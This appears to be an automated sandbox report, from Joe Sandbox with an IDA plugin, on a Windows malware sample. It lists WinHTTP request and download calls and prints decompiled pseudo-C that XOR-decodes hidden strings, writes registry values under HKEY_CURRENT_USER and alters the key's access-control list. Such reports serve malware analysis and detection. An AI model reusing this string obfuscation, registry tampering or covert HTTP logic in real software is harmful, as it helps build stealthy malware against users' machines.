HeapAlloc.KERNEL32(00000000), ref: 00414257
WinHttpOpenRequest.WINHTTP(00000000,00000000,?,00000000,00000000,00000000,00800140,00000010,00000000), ref: 00414325
GetProcessHeap.KERNEL32(00000000,?), ref: 00414337
HeapFree.KERNEL32(00000000), ref: 0041433E
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 00414363
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 0041437B

Part of subcall function 004069A0: WinHttpGetIEProxyConfigForCurrentUser.WINHTTP(?,?), ref: 004069E0
Part of subcall function 004069A0: WinHttpOpen.WINHTTP(00000000,00000001,00000000,00000000,00000000,?,?), ref: 00406A20
Part of subcall function 004069A0: WinHttpGetProxyForUrl.WINHTTP(00000000,?,00000000,?), ref: 00406A9D
Part of subcall function 004069A0: StrCpyW.SHLWAPI(00000000,00000000), ref: 00406ABB
Part of subcall function 004069A0: WinHttpCloseHandle.WINHTTP(00000000), ref: 00406AC5
Part of subcall function 004069A0: WinHttpCloseHandle.WINHTTP(00000000), ref: 00406AF1
Part of subcall function 004069A0: PathMatchSpecW.SHLWAPI(?,00000000), ref: 00406B4E
Part of subcall function 004069A0: StrCpyW.SHLWAPI(00000000,00000000), ref: 00406BA7
Part of subcall function 004069A0: StrCpyW.SHLWAPI(00000000,00000000), ref: 00406D8D

WinHttpSetOption.WINHTTP(00000000,00000026,00000003,0000000C,?,?,00000000), ref: 004143F3
WinHttpSetOption.WINHTTP(00000000,0000001F,00003300,00000004,?,?,00000000), ref: 00414408
WinHttpSetOption.WINHTTP(00000000,0000003F,00000008,00000004), ref: 0041441D
wsprintfW.USER32 ref: 00414595
lstrlenW.KERNEL32(?,10000000), ref: 004145AA
WinHttpAddRequestHeaders.WINHTTP(00000000,?,00000000), ref: 004145BC
WinHttpSendRequest.WINHTTP(00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 004145DD
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 004145F4
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 0041460C
WinHttpReceiveResponse.WINHTTP(00000000,00000000), ref: 00414622
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 00414639
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 00414651
WinHttpQueryHeaders.WINHTTP(00000000,20000005,00000000,00000000,00000004,00000000), ref: 0041469A
WinHttpQueryHeaders.WINHTTP(00000000,20000013,00000000,00000000,00000004,00000000), ref: 004146D8
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 00414703
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 0041471B
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0041473D
HeapAlloc.KERNEL32(00000000), ref: 00414744

Part of subcall function 00413910: WinHttpQueryDataAvailable.WINHTTP(00000000,00000000), ref: 0041392C
Part of subcall function 00413910: WinHttpReadData.WINHTTP(00000000,00000000,00000000,00000000), ref: 0041394F

Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 00414784
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 0041479C
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 004147D7
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 004147EF
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 00414809

Part of subcall function 004137C0: WinHttpCloseHandle.WINHTTP(?,?,?,0041480E), ref: 004137D5

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 00414821

Strings

Y, xrefs: 0041445E
J, xrefs: 00413BEB
q, xrefs: 00413EA0
M, xrefs: 00413EED
z, xrefs: 00413C38
Y, xrefs: 00413D6C
Z, xrefs: 00413BE4
M, xrefs: 00413CA1
Y, xrefs: 00414488
M, xrefs: 00413C23
R, xrefs: 00413E68
b, xrefs: 00414501
s, xrefs: 00413E53
l, xrefs: 004144CE
d, xrefs: 00414135
J, xrefs: 00413E0D
m, xrefs: 004144EA
v, xrefs: 004140C9
yPA, xrefs: 0041417C, 00414197, 00414184, 00414164, 0041457E
p, xrefs: 00414289
p, xrefs: 00413DCE
s, xrefs: 00413EA7
Y, xrefs: 004144FD
C, xrefs: 00413D42
M, xrefs: 00413DC7
B, xrefs: 00413D5E
M, xrefs: 00413E99
], xrefs: 00413B3C
s, xrefs: 00413C31
s, xrefs: 00413D81
s, xrefs: 00413BDD
[, xrefs: 00413B58
M, xrefs: 00413B7B
d, xrefs: 004140F9
l, xrefs: 004144A4
JMD6kp, xrefs: 004142EB
Y, xrefs: 004144B2
l, xrefs: 004144F5
d, xrefs: 00414121
J, xrefs: 00413E37
J, xrefs: 00413DB9
4JcM7s, xrefs: 00413FB5
0, xrefs: 004140D9
6, xrefs: 00414281
M, xrefs: 00413DF1
J, xrefs: 00413EDF
U, xrefs: 00414473
s, xrefs: 00413C5B
s, xrefs: 00413DAB
Y, xrefs: 004140E9
J, xrefs: 00413EB5
m, xrefs: 0041446C
s, xrefs: 00413F4F
5, xrefs: 0041442D
M, xrefs: 00413B2E
M, xrefs: 00413E1B
J, xrefs: 00413D8F
J, xrefs: 00413CE7
=, xrefs: 00414125
M, xrefs: 00413D73
X, xrefs: 00413C00
M, xrefs: 00413D96
J, xrefs: 0041428D
J, xrefs: 00413C3F
S, xrefs: 00414105
], xrefs: 00413EAE
s, xrefs: 00413D03
J, xrefs: 00413F33
Y, xrefs: 00414139
s, xrefs: 00413C07
Y, xrefs: 00414434
M, xrefs: 00413B51
Q, xrefs: 00413F10
m, xrefs: 00414442
J, xrefs: 00413D11
s, xrefs: 00413BB3
D, xrefs: 004140F5
m, xrefs: 00414505
v, xrefs: 004140FD
M, xrefs: 00413CF5
v, xrefs: 00414119
J, xrefs: 00413B43
k, xrefs: 00414131
s, xrefs: 00413D57
G, xrefs: 004144E3
s, xrefs: 00413DFF
S, xrefs: 00413B9E
J, xrefs: 00413D65
m, xrefs: 004144C0
s, xrefs: 00413B89
7, xrefs: 00413F48
C, xrefs: 00413C9A
Y, xrefs: 0041412D
E, xrefs: 00413D50
J, xrefs: 004144F9
J, xrefs: 00413E61
0, xrefs: 00414101
Y, xrefs: 004144DC
Q, xrefs: 00413DDC
M, xrefs: 00413EC3
s, xrefs: 00413F25
U, xrefs: 00413D18
-, xrefs: 004140D5
C, xrefs: 00413C0E
", xrefs: 00414540
k, xrefs: 004140E1
0, xrefs: 00414129
J, xrefs: 00413D3B
M, xrefs: 00413C77
N, xrefs: 0041411D
s, xrefs: 00413B35
M, xrefs: 00413D1F
J, xrefs: 00413BC1
4, xrefs: 00413BC8
L, xrefs: 00413E14
Z, xrefs: 004144D5
k, xrefs: 00414109
J, xrefs: 00413C69
R, xrefs: 00413ED8
J, xrefs: 00413F09
S, xrefs: 00413E3E
M, xrefs: 00413F17
s, xrefs: 00413CD9
s, xrefs: 00413DD5
L, xrefs: 00413D0A
G, xrefs: 00414481
J, xrefs: 00413B19
m, xrefs: 00414496
7, xrefs: 00413C46
^, xrefs: 00413BD6
0vkdY, xrefs: 0041418F
gYbmol, xrefs: 00414565
], xrefs: 00413CB6
X, xrefs: 004140C5
M, xrefs: 00413D9D
Y, xrefs: 00414111
l, xrefs: 00414450
M, xrefs: 00413D49
M, xrefs: 00414279
, xrefs: 00413A28
J, xrefs: 00413B6D
y, xrefs: 00413B12
s, xrefs: 00413C85
M, xrefs: 00413F41
J, xrefs: 00413CBD
M, xrefs: 00413B27
C, xrefs: 00413DC0
J, xrefs: 00413DE3
M, xrefs: 00413BCF
[, xrefs: 00413E06
?, xrefs: 00414285
s, xrefs: 00413E7D
M, xrefs: 00413C4D
s, xrefs: 00413D2D
v, xrefs: 004140F1
O, xrefs: 00413EF4
s, xrefs: 00413B5F
S, xrefs: 00413F3A
M, xrefs: 00413BF9
J, xrefs: 00413C93
s, xrefs: 00413EFB
`, xrefs: 00413CA8
s, xrefs: 00413CAF
0, xrefs: 00413A9E
l, xrefs: 0041447A
J, xrefs: 00413C15
X, xrefs: 00413CEE
s, xrefs: 00413E29
M, xrefs: 00414291
M, xrefs: 00413E6F
s, xrefs: 00413ED1
C, xrefs: 00413E92
M, xrefs: 00413CCB
M, xrefs: 00413C70
M, xrefs: 00413E45
dy32, xrefs: 00413A8C
J, xrefs: 00413E8B
R, xrefs: 00413ECA
d, xrefs: 004140D1
U, xrefs: 00413B66
L, xrefs: 00413B74
J, xrefs: 00413B97
M, xrefs: 00413BA5
\, xrefs: 00413DF8

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: InitialThread$Http$Free$Concurrency::details::ParamParam::~ProcessorRoot::Virtual$Heap$Process$Alloc$CloseHandleHeadersOpenOptionQueryRequestlstrlen$DataProxywsprintf$AvailableByteCharConfigConnectCurrentMatchMultiPathReadReceiveResponseSendSpecTimeoutsUserWidegethostbyname
String ID: $"$-$0$0$0$0$0vkdY$4$4JcM7s$5$6$7$7$=$?$B$C$C$C$C$C$D$E$G$G$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$JMD6kp$L$L$L$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$N$O$Q$Q$R$R$R$S$S$S$S$U$U$U$X$X$X$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Z$Z$[$[$\$]$]$]$^$`$b$d$d$d$d$dy32$gYbmol$k$k$k$l$l$l$l$l$m$m$m$m$m$m$p$p$q$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$v$v$v$v$y$yPA$z
API String ID: 779942984-3275448181
Opcode ID: 1d81735b2b7d7227d8e7bd82ae344fadb7895aacfcbc47a2ed5c3c9947fe4e6d
Instruction ID: 674a0a0d36eea1ecaabb1d6f456c7273e91b1c5a6b9fcf080b28e10fe3719f58
Opcode Fuzzy Hash: 1d81735b2b7d7227d8e7bd82ae344fadb7895aacfcbc47a2ed5c3c9947fe4e6d
Instruction Fuzzy Hash: 94920070D08298DAEB21CB64CC587DEBFB16F16308F0441D9D1596B2C2C7B95E89CF6A

Function 00412D50, Relevance: 252.4, APIs: 4, Strings: 140, Instructions: 438
registry

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E00412D50(void* __eflags, char* _a4) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr* _v32;
				intOrPtr* _v36;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				short _v250;
				short _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				char* _v276;
				char _v280;
				intOrPtr _v284;
				signed int _v288;
				intOrPtr _v292;
				signed int _v296;
				int _v300;
				void* _t336;
				void* _t468;

				_v8 = 0;
				_v280 = 1;
				_v152 = 0x17;
				_v151 = 0x6d;
				_v150 = 0x22;
				_v149 = 0x70;
				_v148 = 0x30;
				_v147 = 0x53;
				_v146 = 0xc;
				_v145 = 0x47;
				_v144 = 5;
				_v143 = 0x56;
				_v142 = 0x3f;
				_v141 = 0x6d;
				_v140 = 0x33;
				_v139 = 0x70;
				_v138 = 0x1f;
				_v137 = 0x53;
				_v136 = 3;
				_v135 = 0x47;
				_v134 = 3;
				_v133 = 0x56;
				_v132 = 0x27;
				_v131 = 0x6d;
				_v130 = 0x26;
				_v129 = 0x70;
				_v128 = 0x3a;
				_v127 = 0x53;
				_v126 = 1;
				_v125 = 0x47;
				_v124 = 0x70;
				_v123 = 0x56;
				_v44 = 0x53;
				_v43 = 0x6d;
				_v42 = 0x47;
				_v41 = 0x70;
				_v40 = 0x56;
				E00402B00( &_v272, 0x3c);
				_v12 = 0;
				while(_v12 < 0x1e) {
					if(1 != 0) {
						asm("cdq");
						_t52 = _v12 % 5 - 0x28; // 0x53
						E00402AE0( &_v272, _v12,  *(_t468 + _v12 - 0x94) & 0x000000ff ^  *(_t468 + _t52) & 0x000000ff);
					}
					_v12 = _v12 + 1;
				}
				_v248 = 1;
				_v247 = 0x38;
				_v246 = 0x3e;
				_v245 = 0x67;
				_v244 = 0x1c;
				_v243 = 0x4b;
				_v242 = 0x26;
				_v241 = 0x38;
				_v240 = 0x26;
				_v239 = 0x67;
				_v238 = 0x1b;
				_v237 = 0x4b;
				_v236 = 0x20;
				_v235 = 0x38;
				_v234 = 0x34;
				_v233 = 0x67;
				_v232 = 0x26;
				_v231 = 0x4b;
				_v230 = 0x1f;
				_v229 = 0x38;
				_v228 = 0x38;
				_v227 = 0x67;
				_v226 = 0x19;
				_v225 = 0x4b;
				_v224 = 0x20;
				_v223 = 0x38;
				_v222 = 0x3e;
				_v221 = 0x67;
				_v220 = 9;
				_v219 = 0x4b;
				_v218 = 0x3d;
				_v217 = 0x38;
				_v216 = 0x37;
				_v215 = 0x67;
				_v214 = 0xe;
				_v213 = 0x4b;
				_v212 = 0xe;
				_v211 = 0x38;
				_v210 = 0x18;
				_v209 = 0x67;
				_v208 = 0x3f;
				_v207 = 0x4b;
				_v206 = 0x13;
				_v205 = 0x38;
				_v204 = 0x1a;
				_v203 = 0x67;
				_v202 = 0x26;
				_v201 = 0x4b;
				_v200 = 0x15;
				_v199 = 0x38;
				_v198 = 0x23;
				_v197 = 0x67;
				_v196 = 0x15;
				_v195 = 0x4b;
				_v194 = 0x27;
				_v193 = 0x38;
				_v192 = 0x21;
				_v191 = 0x67;
				_v190 = 0x2a;
				_v189 = 0x4b;
				_v188 = 0x3d;
				_v187 = 0x38;
				_v186 = 0x3d;
				_v185 = 0x67;
				_v184 = 0x13;
				_v183 = 0x4b;
				_v182 = 0x31;
				_v181 = 0x38;
				_v180 = 0x28;
				_v179 = 0x67;
				_v178 = 0x26;
				_v177 = 0x4b;
				_v176 = 2;
				_v175 = 0x38;
				_v174 = 0x34;
				_v173 = 0x67;
				_v172 = 0x14;
				_v171 = 0x4b;
				_v170 = 0x36;
				_v169 = 0x38;
				_v168 = 0x38;
				_v167 = 0x67;
				_v166 = 0x14;
				_v165 = 0x4b;
				_v164 = 0x35;
				_v163 = 0x38;
				_v162 = 0x16;
				_v161 = 0x67;
				_v160 = 0x2a;
				_v159 = 0x4b;
				_v158 = 0x1d;
				_v157 = 0x38;
				_v156 = 0x22;
				_v155 = 0x67;
				_v154 = 0x7a;
				_v153 = 0x4b;
				_v60 = 0x52;
				_v59 = 0x38;
				_v58 = 0x51;
				_v57 = 0x67;
				_v56 = 0x7a;
				_v55 = 0x4b;
				E00402B00( &_v268, 0xc0);
				_v16 = 0;
				while(_v16 < 0x60) {
					if(1 != 0) {
						asm("cdq");
						_t171 = _v16 % 6 - 0x38; // 0x52
						E00402AE0( &_v268, _v16,  *(_t468 + _v16 - 0xf4) & 0x000000ff ^  *(_t468 + _t171) & 0x000000ff);
					}
					_v16 = _v16 + 1;
				}
				_t336 = E00412420(0x80000001, E00402AD0( &_v268), 0xf003f); // executed
				_v8 = _t336;
				if(_v8 != 0) {
					_v88 = 0x1a;
					_v87 = 0x49;
					_v86 = 0x5b;
					_v85 = 0x4b;
					_v84 = 0x1f;
					_v83 = 0x7a;
					_v82 = 0x37;
					_v81 = 0x49;
					_v80 = 0x40;
					_v79 = 0x4b;
					_v78 = 0x6a;
					_v77 = 0x7a;
					_v68 = 0x59;
					_v67 = 0x49;
					_v66 = 0x34;
					_v65 = 0x4b;
					_v64 = 0x6a;
					_v63 = 0x7a;
					E00402B00( &_v264, 0x18);
					_v20 = 0;
					while(_v20 < 0xc) {
						if(1 != 0) {
							asm("cdq");
							_t209 = _v20 % 6 - 0x40; // 0x59
							E00402AE0( &_v264, _v20,  *(_t468 + _v20 - 0x54) & 0x000000ff ^  *(_t468 + _t209) & 0x000000ff);
						}
						_v20 = _v20 + 1;
					}
					_v100 = 0x26;
					_v99 = 0x34;
					_v98 = 0x17;
					_v97 = 0x64;
					_v96 = 0x47;
					_v95 = 0x34;
					_v94 = 0x1e;
					_v93 = 0x34;
					_v92 = 0x47;
					_v91 = 0x64;
					_v90 = 0x33;
					_v89 = 0x34;
					_v76 = 0x76;
					_v75 = 0x34;
					_v74 = 0x76;
					_v73 = 0x64;
					_v72 = 0x33;
					_v71 = 0x34;
					E00402B00( &_v260, 0x18);
					_v24 = 0;
					while(_v24 < 0xc) {
						if(1 != 0) {
							asm("cdq");
							_t244 = _v24 % 6 - 0x48; // 0x76
							E00402AE0( &_v260, _v24,  *(_t468 + _v24 - 0x60) & 0x000000ff ^  *(_t468 + _t244) & 0x000000ff);
						}
						_v24 = _v24 + 1;
					}
					_v120 = 0x34;
					_v119 = 0x47;
					_v118 = 0x1c;
					_v117 = 0x41;
					_v116 = 0x13;
					_v115 = 0x67;
					_v114 = 0x33;
					_v113 = 0x79;
					_v112 = 0x28;
					_v111 = 0x70;
					_v110 = 8;
					_v109 = 0x47;
					_v108 = 0x17;
					_v107 = 0x41;
					_v106 = 0x41;
					_v105 = 0x67;
					_v104 = 0x47;
					_v103 = 0x79;
					_v52 = 0x67;
					_v51 = 0x47;
					_v50 = 0x79;
					_v49 = 0x41;
					_v48 = 0x70;
					E00402B00( &_v256, 0x24);
					_v28 = 0;
					while(_v28 < 0x12) {
						if(1 != 0) {
							asm("cdq");
							_t284 = _v28 % 5 - 0x30; // 0x67
							E00402AE0( &_v256, _v28,  *(_t468 + _v28 - 0x74) & 0x000000ff ^  *(_t468 + _t284) & 0x000000ff);
						}
						_v28 = _v28 + 1;
					}
					_v276 = E00402AD0( &_v272);
					RegSetValueExW(_v8, E00402AD0( &_v264), 0, 4,  &_v280, 4); // executed
					_v32 = _a4;
					_v284 = _v32 + 2;
					do {
						_v250 =  *_v32;
						_v32 = _v32 + 2;
					} while (_v250 != 0);
					_v288 = _v32 - _v284 >> 1;
					RegSetValueExW(_v8, E00402AD0( &_v260), 0, 1, _a4, _v288 << 1); // executed
					_v36 = _v276;
					_v292 = _v36 + 2;
					do {
						_v252 =  *_v36;
						_v36 = _v36 + 2;
					} while (_v252 != 0);
					_v296 = _v36 - _v292 >> 1;
					RegSetValueExW(_v8, E00402AD0( &_v256), 0, 1, _v276, _v296 << 1); // executed
					E00411960(_v8); // executed
					RegCloseKey(_v8);
					E00402B30( &_v256);
					E00402B30( &_v260);
					E00402B30( &_v264);
				}
				_v300 = 1;
				E00402B30( &_v268);
				E00402B30( &_v272);
				return _v300;
			}

0x00412d5a
0x00412d61
0x00412d6b
0x00412d72
0x00412d79
0x00412d80
0x00412d87
0x00412d8e
0x00412d95
0x00412d9c
0x00412da3
0x00412daa
0x00412db1
0x00412db8
0x00412dbf
0x00412dc6
0x00412dcd
0x00412dd4
0x00412ddb
0x00412de2
0x00412de9
0x00412df0
0x00412df7
0x00412dfb
0x00412dff
0x00412e03
0x00412e07
0x00412e0b
0x00412e0f
0x00412e13
0x00412e17
0x00412e1b
0x00412e1f
0x00412e23
0x00412e27
0x00412e2b
0x00412e2f
0x00412e3b
0x00412e40
0x00412e52
0x00412e5f
0x00412e6f
0x00412e77
0x00412e89
0x00412e89
0x00412e4f
0x00412e4f
0x00412e90
0x00412e97
0x00412e9e
0x00412ea5
0x00412eac
0x00412eb3
0x00412eba
0x00412ec1
0x00412ec8
0x00412ecf
0x00412ed6
0x00412edd
0x00412ee4
0x00412eeb
0x00412ef2
0x00412ef9
0x00412f00
0x00412f07
0x00412f0e
0x00412f15
0x00412f1c
0x00412f23
0x00412f2a
0x00412f31
0x00412f38
0x00412f3f
0x00412f46
0x00412f4d
0x00412f54
0x00412f5b
0x00412f62
0x00412f69
0x00412f70
0x00412f77
0x00412f7e
0x00412f85
0x00412f8c
0x00412f93
0x00412f9a
0x00412fa1
0x00412fa8
0x00412faf
0x00412fb6
0x00412fbd
0x00412fc4
0x00412fcb
0x00412fd2
0x00412fd9
0x00412fe0
0x00412fe7
0x00412fee
0x00412ff5
0x00412ffc
0x00413003
0x0041300a
0x00413011
0x00413018
0x0041301f
0x00413026
0x0041302d
0x00413034
0x0041303b
0x00413042
0x00413049
0x00413050
0x00413057
0x0041305e
0x00413065
0x0041306c
0x00413073
0x0041307a
0x00413081
0x00413088
0x0041308f
0x00413096
0x0041309d
0x004130a4
0x004130ab
0x004130b2
0x004130b9
0x004130c0
0x004130c7
0x004130ce
0x004130d5
0x004130dc
0x004130e3
0x004130ea
0x004130f1
0x004130f8
0x004130ff
0x00413106
0x0041310d
0x00413114
0x0041311b
0x00413122
0x00413129
0x00413130
0x00413134
0x00413138
0x0041313c
0x00413140
0x00413144
0x00413153
0x00413158
0x0041316a
0x00413177
0x00413187
0x0041318f
0x004131a1
0x004131a1
0x00413167
0x00413167
0x004131be
0x004131c3
0x004131ca
0x004131d0
0x004131d4
0x004131d8
0x004131dc
0x004131e0
0x004131e4
0x004131e8
0x004131ec
0x004131f0
0x004131f4
0x004131f8
0x004131fc
0x00413200
0x00413204
0x00413208
0x0041320c
0x00413210
0x00413214
0x00413220
0x00413225
0x00413237
0x00413244
0x00413251
0x00413259
0x0041326b
0x0041326b
0x00413234
0x00413234
0x00413272
0x00413276
0x0041327a
0x0041327e
0x00413282
0x00413286
0x0041328a
0x0041328e
0x00413292
0x00413296
0x0041329a
0x0041329e
0x004132a2
0x004132a6
0x004132aa
0x004132ae
0x004132b2
0x004132b6
0x004132c2
0x004132c7
0x004132d9
0x004132e6
0x004132f3
0x004132fb
0x0041330d
0x0041330d
0x004132d6
0x004132d6
0x00413314
0x00413318
0x0041331c
0x00413320
0x00413324
0x00413328
0x0041332c
0x00413330
0x00413334
0x00413338
0x0041333c
0x00413340
0x00413344
0x00413348
0x0041334c
0x00413350
0x00413354
0x00413358
0x0041335c
0x00413360
0x00413364
0x00413368
0x0041336c
0x00413378
0x0041337d
0x0041338f
0x0041339c
0x004133a9
0x004133b1
0x004133c3
0x004133c3
0x0041338c
0x0041338c
0x004133d5
0x004133f8
0x00413401
0x0041340a
0x00413410
0x00413416
0x0041341d
0x00413421
0x00413436
0x0041345d
0x00413469
0x00413472
0x00413478
0x0041347e
0x00413485
0x00413489
0x0041349e
0x004134c8
0x004134d2
0x004134db
0x004134e7
0x004134f2
0x004134fd
0x004134fd
0x00413502
0x00413512
0x0041351d
0x0041352c

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Part of subcall function 00412420: RegCreateKeyExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412461
Part of subcall function 00412420: RegOpenKeyExW.ADVAPI32 ref: 0041247E

RegSetValueExW.KERNEL32 ref: 004133F8
RegSetValueExW.KERNEL32 ref: 0041345D
RegSetValueExW.KERNEL32 ref: 004134C8

Part of subcall function 00411960: _chkstk.NTDLL(?,004134D7,00000000), ref: 00411968
Part of subcall function 00411960: RegGetKeySecurity.ADVAPI32(00000000,00000004,?,00010014), ref: 00411991
Part of subcall function 00411960: InitializeSecurityDescriptor.ADVAPI32(?,00000001), ref: 004119A8
Part of subcall function 00411960: GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 004119C9
Part of subcall function 00411960: GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 004119E6
Part of subcall function 00411960: LocalAlloc.KERNEL32(00000040,?), ref: 00411A06
Part of subcall function 00411960: InitializeAcl.ADVAPI32(?,?,00000002), ref: 00411A19
Part of subcall function 00411960: LocalFree.KERNEL32(?), ref: 00411A27
Part of subcall function 00411960: GetAce.ADVAPI32(?,00000000,004134D7), ref: 00411A6A
Part of subcall function 00411960: LocalFree.KERNEL32(?), ref: 00411A78
Part of subcall function 00411960: AddAce.ADVAPI32(?,00000002,000000FF,004134D7,15FF52FC), ref: 00411AA9
Part of subcall function 00411960: LocalFree.KERNEL32(?), ref: 00411AB7
Part of subcall function 00411960: SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00411ACF
Part of subcall function 00411960: LocalFree.KERNEL32(?), ref: 00411ADD
Part of subcall function 00411960: RegSetKeySecurity.KERNEL32(00000000,00000004,?), ref: 00411AF1
Part of subcall function 00411960: LocalFree.KERNEL32(?), ref: 00411AFF
Part of subcall function 00411960: LocalFree.KERNEL32(?), ref: 00411B0D

RegCloseKey.ADVAPI32(00000000), ref: 004134DB

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

p, xrefs: 00412D80
g, xrefs: 004130F1
[, xrefs: 004131D8
:, xrefs: 00412E07
', xrefs: 0041300A
V, xrefs: 00412DF0
4, xrefs: 0041329E
=, xrefs: 00413042
g, xrefs: 00412F23
8, xrefs: 004130C0
G, xrefs: 00413354
K, xrefs: 004131F4
", xrefs: 00413114
g, xrefs: 00413073
g, xrefs: 00412FCB
8, xrefs: 0041308F
, xrefs: 00412F38
8, xrefs: 00413065
g, xrefs: 004130C7
8, xrefs: 00412F3F
8, xrefs: 00412FBD
K, xrefs: 004130AB
K, xrefs: 004130D5
S, xrefs: 00412E0B
z, xrefs: 004131FC
A, xrefs: 0041334C
m, xrefs: 00412DFB
y, xrefs: 00413330
4, xrefs: 00413286
K, xrefs: 00412EDD
8, xrefs: 00413011
p, xrefs: 00412E03
', xrefs: 00412DF7
K, xrefs: 00413057
V, xrefs: 00412E1B
g, xrefs: 00412FA1
G, xrefs: 00413340
!, xrefs: 00413018
8, xrefs: 0041310D
1, xrefs: 0041305E
4, xrefs: 00412EF2
g, xrefs: 00413049
K, xrefs: 004130FF
V, xrefs: 00412DAA
*, xrefs: 00413026
g, xrefs: 00412EF9
8, xrefs: 00412F1C
I, xrefs: 004131EC
v4vd34, xrefs: 004132FB
j, xrefs: 004131F8
8, xrefs: 00412EEB
g, xrefs: 00412FF5
(, xrefs: 0041306C
